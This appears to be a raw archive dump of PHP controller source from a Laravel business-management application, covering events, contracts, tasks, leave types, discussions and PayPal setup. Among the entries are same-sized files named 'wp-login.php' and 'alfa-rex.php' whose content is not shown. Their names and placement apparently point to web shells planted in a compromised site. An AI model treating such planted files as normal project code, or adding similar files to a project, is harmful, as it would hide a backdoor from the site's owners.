Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->contract = ContractTemplate::findOrFail($id); $this->manageContractTemplatePermission = user()->permission('manage_contract_template'); abort_403(!in_array($this->manageContractTemplatePermission, ['all', 'added'])); $this->pageTitle = __('app.menu.contractTemplate'); $this->view = 'contract-template.ajax.overview'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('contract-template.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->contract = ContractTemplate::findOrFail($id); $this->manageContractTemplatePermission = user()->permission('manage_contract_template'); abort_403(!in_array($this->manageContractTemplatePermission, ['all', 'added'])); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->pageTitle = __('app.update') . ' ' . __('app.menu.contractTemplate'); $this->view = 'contract-template.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('contract-template.create', $this->data); } public function update(StoreContractTemplate $request, $id) { $contract = ContractTemplate::findOrFail($id); $contract->subject = $request->subject; $contract->amount = $request->amount; $contract->currency_id = $request->currency_id; $contract->contract_type_id = $request->contract_type; $contract->description = trim_editor($request->description); $contract->contract_detail = trim_editor($request->description); $contract->save(); return Reply::redirect(route('contract-template.index'), __('messages.updateSuccess')); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(user()->permission('manage_contract_template') != 'all' && user()->permission('manage_contract_template') != 'added'); ContractTemplate::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $contract = ContractTemplate::findOrFail($id); $contract->destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EventCalendarController.php000064400000056114150325104510015264 0ustar00pageTitle = 'app.menu.events'; $this->middleware(function ($request, $next) { abort_403(!in_array('events', $this->user->modules)); return $next($request); }); } public function index() { $viewPermission = user()->permission('view_events'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); $this->employees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); } $userId = UserService::getUserId(); if (request('start') && request('end')) { $model = Event::with('attendee', 'attendee.user'); if (request()->clientId && request()->clientId != 'all') { $clientId = request()->clientId; $model->whereHas('attendee.user', function ($query) use ($clientId) { $query->where('user_id', $clientId); }); } if (request()->status && request()->status != 'all') { $status = request()->status; $model->where('status', $status); } if (request()->employeeId && request()->employeeId != 'all' && request()->employeeId != 'undefined') { $employeeId = request()->employeeId; $model->whereHas('attendee.user', function ($query) use ($employeeId) { $query->where('user_id', $employeeId); }); } if (request()->searchText && request()->searchText != 'all') { $model->where('event_name', 'like', '%' . request('searchText') . '%'); } if ($viewPermission == 'added') { $model->leftJoin('mention_users', 'mention_users.event_id', 'events.id'); $model->where('added_by', $userId); $model->orWhere('mention_users.user_id', $userId); } if ($viewPermission == 'owned') { $model->whereHas('attendee.user', function ($query) use ($userId) { $query->where('user_id', $userId); })->orWhere('host', $userId); } if (in_array('client', user_roles())) { $model->whereHas('attendee.user', function ($query) use ($userId) { $query->where('user_id', $userId); }); } if ($viewPermission == 'both') { $model->where('added_by', $userId); $model->orWhereHas('attendee.user', function ($query) use ($userId) { $query->where('user_id', $userId); })->orWhere('host', $userId); } $events = $model->get(); $eventData = array(); foreach ($events as $key => $event) { $eventData[] = [ 'id' => $event->id, 'title' => $event->event_name, 'start' => $event->start_date_time, 'end' => $event->end_date_time, 'color' => $event->label_color ]; } return $eventData; } return view('event-calendar.index', $this->data); } public function create() { $addPermission = user()->permission('add_events'); abort_403(!in_array($addPermission, ['all', 'added'])); $this->employees = User::allEmployees(null, true); $this->clients = User::allClients(); $this->pageTitle = __('modules.events.addEvent'); $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->teams = Team::all(); $this->view = 'event-calendar.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('event-calendar.create', $this->data); } public function store(StoreEvent $request) { $addPermission = user()->permission('add_events'); abort_403(!in_array($addPermission, ['all', 'added'])); $event = new Event(); $event->event_name = $request->event_name; $event->where = $request->where; $event->description = trim_editor($request->description); $start_date_time = Carbon::createFromFormat($this->company->date_format, $request->start_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->start_time)->format('H:i:s'); $event->start_date_time = Carbon::parse($start_date_time)->setTimezone('UTC'); $end_date_time = Carbon::createFromFormat($this->company->date_format, $request->end_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->end_time)->format('H:i:s'); $event->end_date_time = Carbon::parse($end_date_time)->setTimezone('UTC'); $event->departments = json_encode($request->team_id); $event->repeat = $request->repeat ? $request->repeat : 'no'; $event->send_reminder = $request->send_reminder ? $request->send_reminder : 'no'; $event->repeat_every = $request->repeat_count; $event->repeat_cycles = $request->repeat_cycles; $event->repeat_type = $request->repeat_type; $event->remind_time = $request->remind_time; $event->remind_type = $request->remind_type; $event->label_color = $request->label_color; $event->event_link = $request->event_link; $event->host = $request->host; $event->status = $request->status; $event->save(); if ($request->all_employees) { $attendees = User::allEmployees(null, false); // Prepare bulk insert data $attendeeData = $attendees->map(function($attendee) use ($event) { return [ 'user_id' => $attendee->id, 'event_id' => $event->id, 'created_at' => now(), 'updated_at' => now() ]; })->toArray(); // Bulk insert EventAttendee::insert($attendeeData); event(new EventInviteEvent($event, $attendees)); } if ($request->user_id) { foreach ($request->user_id as $userId) { EventAttendee::firstOrCreate(['user_id' => $userId, 'event_id' => $event->id]); } $attendees = User::whereIn('id', $request->user_id)->get(); event(new EventInviteEvent($event, $attendees)); } // Add repeated event if ($request->has('repeat') && $request->repeat == 'yes') { $repeatCount = $request->repeat_count; $repeatType = $request->repeat_type; $repeatCycles = $request->repeat_cycles; $startDate = Carbon::createFromFormat($this->company->date_format, $request->start_date); $dueDate = Carbon::createFromFormat($this->company->date_format, $request->end_date); if ($repeatType == 'monthly-on-same-day') { $startDateOriginal = $startDate->copy(); $dueDateDiff = $dueDate->diffInDays($startDate); $weekOfMonth = $startDateOriginal->weekOfMonth; $weekDay = $startDateOriginal->dayOfWeek; $startDateOriginal->startOfMonth(); for ($i = 1; $i < $repeatCycles; $i++) { $eventStartDate = $startDateOriginal->addMonths($repeatCount)->copy(); if ($weekOfMonth == 1) { $eventStartDate->startOfMonth(); $eventStartDateCopy = $eventStartDate->copy(); $eventStartDate->addWeeks($weekOfMonth - 1); $eventStartDate->startOfWeek(); $eventStartDate->addDays($weekDay - 1); if ($eventStartDateCopy->month != $eventStartDate->month) { $eventStartDate->addWeek(); } } elseif ($weekOfMonth == 5) { $eventStartDate->endOfMonth(); $eventStartDate->startOfWeek(); $eventStartDateCopy = $eventStartDate->copy(); $eventStartDate->addDays($weekDay - 1); if ($eventStartDateCopy->month != $eventStartDate->month) { $eventStartDate->subWeek(); } if ($eventStartDate->copy()->addWeek()->month == $eventStartDate->month) { $eventStartDate->addWeek(); } } else { $eventStartDate->startOfMonth(); $eventStartDate->addWeeks($weekOfMonth - 1); $eventStartDate->startOfWeek(); $eventStartDate->addDays($weekDay - 1); if ($eventStartDate->weekOfMonth != $weekOfMonth && $eventStartDate->copy()->addWeek()->month == $eventStartDate->month) { $eventStartDate->addWeek(); } } $eventDueDate = $eventStartDate->copy()->addDays($dueDateDiff); $this->addRepeatEvent($event, $request, $eventStartDate, $eventDueDate); } } else { for ($i = 1; $i < $repeatCycles; $i++) { $startDate = $startDate->add($repeatCount, str_plural($repeatType)); $dueDate = $dueDate->add($repeatCount, str_plural($repeatType)); $this->addRepeatEvent($event, $request, $startDate, $dueDate); } } } if ($request->mention_user_ids != '' || $request->mention_user_ids != null){ $event->mentionUser()->sync($request->mention_user_ids); $mentionUserIds = explode(',', $request->mention_user_ids); $mentionUser = User::whereIn('id', $mentionUserIds)->get(); event(new EventInviteMentionEvent($event, $mentionUser)); } $event->touch(); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('events.index'), 'eventId' => $event->id]); } private function addRepeatEvent($parentEvent, $request, $startDate, $dueDate) { $event = new Event(); $event->parent_id = $parentEvent->id; $event->event_name = $request->event_name; $event->where = $request->where; $event->description = trim_editor($request->description); $event->start_date_time = $startDate->format('Y-m-d') . '' . Carbon::parse($request->start_time)->format('H:i:s'); $event->end_date_time = $dueDate->format('Y-m-d') . ' ' . Carbon::parse($request->end_time)->format('H:i:s'); $event->host = $request->host; if ($request->repeat) { $event->repeat = $request->repeat; } else { $event->repeat = 'no'; } if ($request->send_reminder) { $event->send_reminder = $request->send_reminder; } else { $event->send_reminder = 'no'; } $event->repeat_every = $request->repeat_count; $event->repeat_cycles = $request->repeat_cycles; $event->repeat_type = $request->repeat_type; $event->remind_time = $request->remind_time; $event->remind_type = $request->remind_type; $event->label_color = $request->label_color; $event->save(); if ($request->all_employees) { $attendees = User::allEmployees(null, false); // Prepare bulk insert data $attendeeData = $attendees->map(function($attendee) use ($event) { return [ 'user_id' => $attendee->id, 'event_id' => $event->id, 'created_at' => now(), 'updated_at' => now() ]; })->toArray(); // Bulk insert EventAttendee::insert($attendeeData); event(new EventInviteEvent($event, $attendees)); } if ($request->user_id) { foreach ($request->user_id as $userId) { EventAttendee::firstOrCreate(['user_id' => $userId, 'event_id' => $event->id]); } } } public function edit($id) { $this->event = Event::with('attendee', 'attendee.user', 'files')->findOrFail($id); $this->editPermission = user()->permission('edit_events'); $this->viewClientPermission = user()->permission('view_clients'); $this->viewEmployeePermission = user()->permission('view_employees'); $attendeesIds = $this->event->attendee->pluck('user_id')->toArray(); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->event->added_by == $userId || $this->event->host == $userId)) || ($this->editPermission == 'owned' && (in_array($userId, $attendeesIds) || $this->event->host == $userId)) || ($this->editPermission == 'both' && (in_array($userId, $attendeesIds) || $this->event->added_by == $userId || $this->event->host == $userId)) )); $this->pageTitle = __('app.menu.editEvents'); $this->employees = User::allEmployees(); $this->clients = User::allClients(); $this->teams = Team::all(); $userData = []; $this->clientIds = $this->event->attendee ->filter(function ($item) { return in_array('client', $item->user->roles->pluck('name')->toArray()); }); $this->userIds = $this->event->attendee ->filter(function ($item) { return in_array('employee', $item->user->roles->pluck('name')->toArray()); }); $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $attendeeArray = []; foreach ($this->event->attendee as $key => $item) { $attendeeArray[] = $item->user_id; } $this->attendeeArray = $attendeeArray; $this->departments = json_decode($this->event->departments, true); $this->view = 'event-calendar.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('notices.create', $this->data); } public function update(UpdateEvent $request, $id) { $this->editPermission = user()->permission('edit_events'); $event = Event::findOrFail($id); $attendeesIds = $event->attendee->pluck('user_id')->toArray(); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && ($event->added_by == $userId || $event->host == $userId)) || ($this->editPermission == 'owned' && (in_array($userId, $attendeesIds) || $event->host == $userId)) || ($this->editPermission == 'both' && (in_array($userId, $attendeesIds) || $event->added_by == $userId || $event->host == $userId)) )); $event->event_name = $request->event_name; $event->where = $request->where; $event->departments = json_encode($request->team_id); $event->description = trim_editor($request->description); $event->start_date_time = companyToYmd($request->start_date) . ' ' . Carbon::createFromFormat($this->company->time_format, $request->start_time)->format('H:i:s'); $event->end_date_time = companyToYmd($request->end_date) . ' ' . Carbon::createFromFormat($this->company->time_format, $request->end_time)->format('H:i:s'); if ($request->send_reminder) { $event->send_reminder = $request->send_reminder; } else { $event->send_reminder = 'no'; } $event->remind_time = $request->remind_time; $event->remind_type = $request->remind_type; $event->label_color = $request->label_color; $event->event_link = $request->event_link; $event->host = $request->host; $event->status = $request->status; $event->save(); if ($request->all_employees) { $attendees = User::allEmployees(); foreach ($attendees as $attendee) { $checkExists = EventAttendee::where('user_id', $attendee->id)->where('event_id', $event->id)->first(); if (!$checkExists) { EventAttendee::create(['user_id' => $attendee->id, 'event_id' => $event->id]); // Send notification to user $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($attendee->id); event(new EventInviteEvent($event, $notifyUser)); } } } if ($request->user_id) { $existEventUser = EventAttendee::where('event_id', $event->id) ->pluck('user_id')->toArray(); $users = $request->user_id; $value = array_diff($existEventUser, $users); EventAttendee::whereIn('user_id', $value)->where('event_id', $event->id)->delete(); foreach ($request->user_id as $userId) { $checkExists = EventAttendee::where('user_id', $userId)->where('event_id', $event->id)->first(); if (!$checkExists) { EventAttendee::create(['user_id' => $userId, 'event_id' => $event->id]); // Send notification to user $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($userId); event(new EventInviteEvent($event, $notifyUser)); } } } $mentionedUser = MentionUser::where('event_id', $event->id)->pluck('user_id'); $requestMentionIds = explode(',', request()->mention_user_ids); $newMention = []; $event->mentionUser()->sync(request()->mention_user_ids); if ($requestMentionIds != null) { foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } $newMentionMembers = User::whereIn('id', $newMention)->get(); if (!empty($newMention)) { event(new EventInviteMentionEvent($event, $newMentionMembers)); } } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('events.index')]); } public function show($id) { $this->viewPermission = user()->permission('view_events'); $this->event = Event::with('attendee', 'attendee.user', 'user')->findOrFail($id); $attendeesIds = $this->event->attendee->pluck('user_id')->toArray(); $mentionUser = $this->event->mentionEvent->pluck('user_id')->toArray(); $userId = UserService::getUserId(); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->event->added_by == $userId) || ($this->viewPermission == 'owned' && in_array($userId, $attendeesIds) || $this->event->host == $userId) || ($this->viewPermission == 'both' && (in_array($userId, $attendeesIds) || $this->event->added_by == $userId) || (!is_null(($this->event->mentionEvent))) && in_array($userId, $mentionUser) || $this->event->host == $userId) )); $this->pageTitle = __('app.menu.event') . ' ' . __('app.details'); $this->view = 'event-calendar.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('event-calendar.create', $this->data); } public function destroy($id) { $this->deletePermission = user()->permission('delete_events'); $event = Event::with('attendee', 'attendee.user')->findOrFail($id); $attendeesIds = $event->attendee->pluck('user_id')->toArray(); $userId = UserService::getUserId(); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $event->added_by == $userId) || ($this->deletePermission == 'owned' && in_array($userId, $attendeesIds)) || ($this->deletePermission == 'both' && (in_array($userId, $attendeesIds) || $event->added_by == $userId)) )); if ($event->parent_id && request()->delete == 'all') { $id = $event->parent_id; } Event::destroy($id); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('events.index')]); } public function monthlyOn(Request $request) { $date = Carbon::createFromFormat($this->company->date_format, $request->date); $week = __('app.eventDay.' . $date->weekOfMonth); $day = $date->translatedFormat('l'); return Reply::dataOnly(['message' => __('app.eventMonthlyOn', ['week' => $week, 'day' => $day])]); } public function updateStatus(StoreEventNote $request, $id) { $event = Event::findOrFail($id); $attendees = $event->attendee->pluck('user'); $event->status = $request->status; $event->note = $request->note; $event->update(); if ($request->status == 'cancelled') { event(new EventStatusNoteEvent($event, $attendees)); } elseif ($request->status == 'completed') { event(new EventCompletedEvent($event, $attendees)); } return Reply::success(__('messages.updateSuccess')); } public function eventStatusNote(Request $request, $id) { $this->event = Event::findOrFail($id); $this->status = $request->status; return view('event-calendar.event-status-note', $this->data); } } Http/Controllers/TaskReportController.php000064400000015111150325104510014637 0ustar00pageTitle = 'app.menu.taskReport'; } public function index(TaskReportDataTable $dataTable) { abort_403(user()->permission('view_task_report') != 'all'); if (!request()->ajax()) { $this->projects = Project::allProjects(); $this->clients = User::allClients(); $this->employees = User::allEmployees(); $this->taskBoardStatus = TaskboardColumn::all(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); } return $dataTable->render('reports.tasks.index', $this->data); } public function taskChartData(Request $request) { $taskStatus = TaskboardColumn::all(); $data['labels'] = $taskStatus->pluck('column_name'); $data['colors'] = $taskStatus->pluck('label_color'); $data['values'] = []; $startDate = $endDate = null; if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $projectId = $request->projectId; $taskBoardColumn = TaskboardColumn::completeColumn(); foreach ($taskStatus as $label) { $model = Task::leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('tasks.board_column_id', $label->id); if ($startDate !== null && $endDate !== null) { $model->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $q->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $model->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if ($request->status != '' && $request->status != null && $request->status != 'all') { if ($request->status == 'not finished') { $model->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } else { $model->where('tasks.board_column_id', '=', $request->status); } } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $model->where('tasks.task_category_id', '=', $request->category_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } $data['values'][] = $model->count(); } $this->chartData = $data; $html = view('reports.tasks.chart', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } public function employeeWiseTaskReport(EmployeeWiseTaskDataTable $dataTable) { abort_403(user()->permission('view_task_report') != 'all'); $this->projects = Project::allProjects(true); $this->pageTitle = 'modules.tasks.employeeWiseTaskReport'; if (!request()->ajax()) { $this->projects = Project::allProjects(); $this->clients = User::allClients(); $this->employees = User::allEmployees(); $this->taskBoardStatus = TaskboardColumn::all(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); } return $dataTable->render('reports.tasks.employee-wise-task', $this->data); } public function consolidatedTaskReport(consolidatedTaskReportDataTable $dataTable) { abort_403(user()->permission('view_task_report') != 'all'); $this->projects = Project::allProjects(true); $this->pageTitle = 'modules.tasks.consolidatedTaskReport'; if (!request()->ajax()) { $this->projects = Project::allProjects(); $this->clients = User::allClients(); $this->employees = User::allEmployees(); $this->taskBoardStatus = TaskboardColumn::all(); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); } return $dataTable->render('reports.tasks.consolidated-task-report', $this->data); } } Http/Controllers/LeaveTypeController.php000064400000015526150325104510014451 0ustar00pageTitle = 'app.menu.projectSettings'; $this->activeSettingMenu = 'project_settings'; } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->teams = Team::all(); $this->designations = Designation::allDesignations(); $this->roles = Role::where('name', '<>', 'client')->get(); return view('leave-settings.create-leave-setting-type-modal', $this->data); } /** * @param StoreLeaveType $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeaveType $request) { $leaveType = new LeaveType(); $leaveType->type_name = $request->type_name; $leaveType->leavetype = $request->leavetype; $leaveType->color = $request->color; $leaveType->paid = $request->paid; if($request->leavetype == 'monthly'){ $leaveType->no_of_leaves = $request->monthly_leave_number; $leaveType->monthly_limit = 0; }else{ $leaveType->no_of_leaves = $request->yearly_leave_number; $leaveType->monthly_limit = $request->monthly_limit; } $leaveType->effective_after = $request->effective_after; $leaveType->effective_type = $request->effective_type; $leaveType->unused_leave = $request->unused_leave; $leaveType->over_utilization = $request->over_utilization; $leaveType->encashed = $request->has('encashed') ? 1 : 0; $leaveType->allowed_probation = $request->has('allowed_probation') ? 1 : 0; $leaveType->allowed_notice = $request->has('allowed_notice') ? 1 : 0; $leaveType->gender = $request->gender ? json_encode($request->gender) : null; $leaveType->marital_status = $request->marital_status ? json_encode($request->marital_status) : null; $leaveType->department = $request->department ? json_encode($request->department) : null; $leaveType->designation = $request->designation ? json_encode($request->designation) : null; $leaveType->role = $request->role ? json_encode($request->role) : null; $leaveType->save(); $leaveTypes = LeaveType::get(); $options = BaseModel::options($leaveTypes, $leaveType, 'type_name'); return Reply::successWithData(__('messages.leaveTypeAdded'), ['data' => $options, 'page_reload' => $request->page_reload]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->leaveType = LeaveType::findOrFail($id); $this->allTeams = Team::all(); $this->allDesignations = Designation::allDesignations(); $this->allRoles = Role::where('name', '<>', 'client')->get(); $this->allGenders = ['male', 'female', 'others']; $this->gender = json_decode($this->leaveType->gender); $this->maritalStatus = json_decode($this->leaveType->marital_status); $this->department = json_decode($this->leaveType->department); $this->designation = json_decode($this->leaveType->designation); $this->role = json_decode($this->leaveType->role); return view('leave-settings.edit-leave-setting-type-modal', $this->data); } public function update(StoreLeaveType $request, $id) { if ($request->leaves < 0) { return Reply::error('messages.leaveTypeValueError'); } $leaveType = LeaveType::findOrFail($id); if ($request->paid !== (string)$leaveType->paid) { Leave::where('leave_type_id', $leaveType->id)->update(['paid' => $request->paid]); } $leaveType->type_name = $request->type_name; $leaveType->color = $request->color; $leaveType->paid = $request->paid; // need values later no of leaves early one session([ 'old_leaves' => $leaveType->no_of_leaves, 'old_leavetype' => $leaveType->leavetype ]); if($leaveType->leavetype == 'monthly'){ $leaveType->no_of_leaves = $request->monthly_leave_number; $leaveType->monthly_limit = 0; }else{ $leaveType->no_of_leaves = $request->yearly_leave_number; $leaveType->monthly_limit = $request->monthly_limit; } $leaveType->monthly_limit = $request->monthly_limit; $leaveType->effective_after = $request->effective_after; $leaveType->effective_type = $request->effective_type; $leaveType->encashed = $request->encashed; $leaveType->allowed_probation = $request->allowed_probation; $leaveType->allowed_notice = $request->allowed_notice; $leaveType->gender = $request->gender ? json_encode($request->gender) : null; $leaveType->marital_status = $request->marital_status ? json_encode($request->marital_status) : null; $leaveType->department = $request->department ? json_encode($request->department) : null; $leaveType->designation = $request->designation ? json_encode($request->designation) : null; $leaveType->role = $request->role ? json_encode($request->role) : null; $leaveType->over_utilization = $request->over_utilization; $leaveType->save(); return Reply::success(__('messages.leaveTypeAdded')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $leaveType = LeaveType::withTrashed()->find($id); if (request()->has('restore') && request()->restore == 'restore') { if ($leaveType && $leaveType->trashed()) { $leaveType->restore(); return Reply::success(__('messages.restoreSuccess')); } } if (request()->has('archive') && request()->archive == 'archive') { if ($leaveType) { $leaveType->delete(); return Reply::success(__('messages.archiveSuccess')); } } if (request()->has('force_delete') && request()->force_delete == 'force_delete') { if ($leaveType) { $leaveType->forceDelete(); return Reply::success(__('messages.deleteSuccess')); } } LeaveType::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/wp-login.php000064400000026574150325104510012250 0ustar00Http/Controllers/DiscussionReplyController.php000064400000010724150325104510015705 0ustar00discussionId = request('id'); return view('discussions.replies.create', $this->data); } public function store(StoreRequest $request) { $this->userId = UserService::getUserId(); $reply = new DiscussionReply(); $reply->user_id = $this->userId; $reply->discussion_id = $request->discussion_id; $reply->body = trim_editor($request->description); $reply->added_by = user()->id; $reply->save(); $project = Project::findOrFail($reply->discussion->project_id); $userData = []; $usersData = $project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($reply->discussion_id); $html = view('discussions.replies.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'discussion_reply_id' => $reply->id]); } public function getReplies($id) { $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($id); $project = Project::findOrFail($this->discussion->project_id); $userData = []; $usersData = $project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); $html = view('discussions.replies.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } public function edit($id) { $this->reply = DiscussionReply::findOrFail($id); /* @phpstan-ignore-line */ return view('discussions.replies.edit', $this->data); } public function update(StoreRequest $request, $id) { $reply = DiscussionReply::findOrFail($id); $reply->body = trim_editor($request->description); $reply->added_by = user()->id; $reply->save(); $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($reply->discussion_id); $userData = []; $usersData = $this->discussion->project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); $html = view('discussions.replies.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } public function destroy($id) { $reply = DiscussionReply::findOrFail($id); $reply->delete(); $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($reply->discussion_id); $project = Project::findOrFail($this->discussion->project_id); $userData = []; $usersData = $project->projectMembers; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->userRoles = user()->roles->pluck('name')->toArray(); $this->discussion = Discussion::with('category', 'replies', 'replies.user', 'replies.files')->findOrFail($reply->discussion_id); $html = view('discussions.replies.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } } Http/Controllers/ClientSubCategoryController.php000064400000005000150325104510016123 0ustar00subcategories = ClientSubCategory::all(); $this->categories = ClientCategory::all(); $this->deletePermission = user()->permission('manage_client_subcategory'); return view('clients.create-subcategory', $this->data); } /** * @param StoreClientSubcategory $request * @return array */ public function store(StoreClientSubcategory $request) { $category = new ClientSubCategory(); $category->category_id = $request->category_id; $category->category_name = $request->category_name; $category->save(); $categories = ClientSubCategory::where('category_id', $request->selected_category)->get(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $categories]); } /** * @param Request $request * @param int $id * @return array|void */ public function update(Request $request, $id) { abort_403(user()->permission('manage_client_subcategory') != 'all'); $category = ClientSubCategory::findOrFail($id); $category->category_name = strip_tags($request->category_name); $category->save(); $categoryData = ClientSubCategory::where('category_id', $request->selectedCategory)->get(); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $categoryData]); } /** * @param int $id * @return array|void */ public function destroy(Request $request, $id) { abort_403(user()->permission('manage_client_subcategory') != 'all'); ClientSubCategory::findOrFail($id); ClientSubCategory::destroy($id); $categoryData = ClientSubCategory::where('category_id', $request->selectedCategory)->get(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } public function getSubCategories($id) { $sub_categories = ClientSubCategory::where('category_id', $id)->get(); return Reply::dataOnly(['status' => 'success', 'data' => $sub_categories]); } } Http/Controllers/Payment/alfa-rex.php000064400000026574150325104510013630 0ustar00Http/Controllers/Payment/PaypalController.php000064400000036442150325104510015416 0ustar00pageTitle = 'Paypal'; } public function setKeys($companyHash) { $company = Company::where('hash', $companyHash)->first(); if (!$company) { throw new ApiException('Please enter the correct webhook url. You have entered wrong webhook url', null, 200); } $this->credential = $company->paymentGatewayCredentials; $this->paypalMode = $this->credential->paypal_mode; $this->paypalClientId = $this->paypalMode == 'sandbox' ? $this->credential->sandbox_paypal_client_id : $this->credential->paypal_client_id; $this->paypalClientSecret = $this->paypalMode == 'sandbox' ? $this->credential->sandbox_paypal_secret : $this->credential->paypal_secret; /** setup PayPal api context **/ config(['paypal.settings.mode' => $this->credential->paypal_mode]); $paypal_conf = Config::get('paypal'); $this->api_context = new ApiContext(new OAuthTokenCredential($this->paypalClientId, $this->paypalClientSecret)); $this->api_context->setConfig($paypal_conf['settings']); } /** * Show the application paywith paypalpage. * * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Foundation\Application */ public function 